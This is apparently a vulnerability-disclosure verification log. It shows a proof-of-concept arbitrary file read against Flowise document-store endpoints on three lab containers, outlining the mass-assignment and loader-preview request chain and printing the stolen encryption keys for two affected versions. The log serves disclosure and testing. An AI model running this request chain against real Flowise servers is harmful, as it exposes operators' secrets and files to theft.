Flowise document-store arbitrary file READ (getFileFromStorage) — LIVE VERIFICATION
Proposed NEW CVE (distinct from CVE-2025-71338). Captured 2026-08-03.
Targets: stock vendor images flowiseai/flowise:<ver>, zero -e flags (category A).
PoC: poc.py (unmodified). Self-proving: contents returned in-band, no listener.
======================================================================================

### 2.1.0 — AFFECTED  (container 172.17.0.3)
--------------------------------------------------------------------------------------
[*] detect: version={"version":"2.1.0"} in_affected_range=True unauth_surface_open=False
{
  "success": true,
  "not_exploitable": false,
  "run_id": "0450d3bcbf224522",
  "read_path": "/root/.flowise/encryption.key",
  "output": [
    "created document store 707a330c-689a-407c-ac5b-0467aaca0138",
    "PUT store (forge loaders via mass assignment) -> status=500 (non-200 tolerated: save precedes response serialization)",
    "POST /loader/preview (rehydrate -> getFileFromStorage) -> status=200",
    "EXFILTRATED 32 bytes of /root/.flowise/encryption.key"
  ],
  "error": null
}

===== EXFILTRATED CONTENTS OF /root/.flowise/encryption.key =====
0SXPAZucOV4Tb7JmAk9xfXiAq76Ey+ZC
===== END =====
--- ground truth (docker exec cat): 0SXPAZucOV4Tb7JmAk9xfXiAq76Ey+ZC
--- exfiltrated by PoC          : 0SXPAZucOV4Tb7JmAk9xfXiAq76Ey+ZC
--- >>> BYTE-EXACT MATCH: YES <<<

### 2.2.3 — AFFECTED(upper bound)  (container 172.17.0.4)
--------------------------------------------------------------------------------------
[*] detect: version={"version":"2.2.3"} in_affected_range=True unauth_surface_open=True
{
  "success": true,
  "not_exploitable": false,
  "run_id": "b10d43d1ed264894",
  "read_path": "/root/.flowise/encryption.key",
  "output": [
    "created document store d5b66629-49df-4ce5-8a6d-7972fcede460",
    "PUT store (forge loaders via mass assignment) -> status=200 (non-200 tolerated: save precedes response serialization)",
    "POST /loader/preview (rehydrate -> getFileFromStorage) -> status=200",
    "EXFILTRATED 32 bytes of /root/.flowise/encryption.key"
  ],
  "error": null
}

===== EXFILTRATED CONTENTS OF /root/.flowise/encryption.key =====
bHAVi9Dcmldma467Su8aNpBBJlhPDXdT
===== END =====
--- ground truth (docker exec cat): bHAVi9Dcmldma467Su8aNpBBJlhPDXdT
--- exfiltrated by PoC          : bHAVi9Dcmldma467Su8aNpBBJlhPDXdT
--- >>> BYTE-EXACT MATCH: YES <<<

### 2.2.4 — FIXED  (container 172.17.0.5)
--------------------------------------------------------------------------------------
[*] detect: version={"version":"2.2.4"} in_affected_range=False unauth_surface_open=True
[!] version 2.2.4 >= 2.2.4 — getFileFromStorage is sanitized; the read is confined (expected NOT-EXPLOITABLE).
{
  "success": false,
  "not_exploitable": true,
  "run_id": "0733be57a52b42c2",
  "read_path": "/root/.flowise/encryption.key",
  "output": [
    "target version 2.2.4 >= 2.2.4 — getFileFromStorage sanitizes the filename; NOT exploitable"
  ],
  "error": "target version 2.2.4 >= 2.2.4 — getFileFromStorage sanitizes the filename; NOT exploitable"
}
--- ground truth (docker exec cat): Xf9azdvzDs0oHC0AvzmoFu85EMGawxAK
--- exfiltrated by PoC          : <none>
--- byte-exact match: N/A (fixed, no exfil - correct)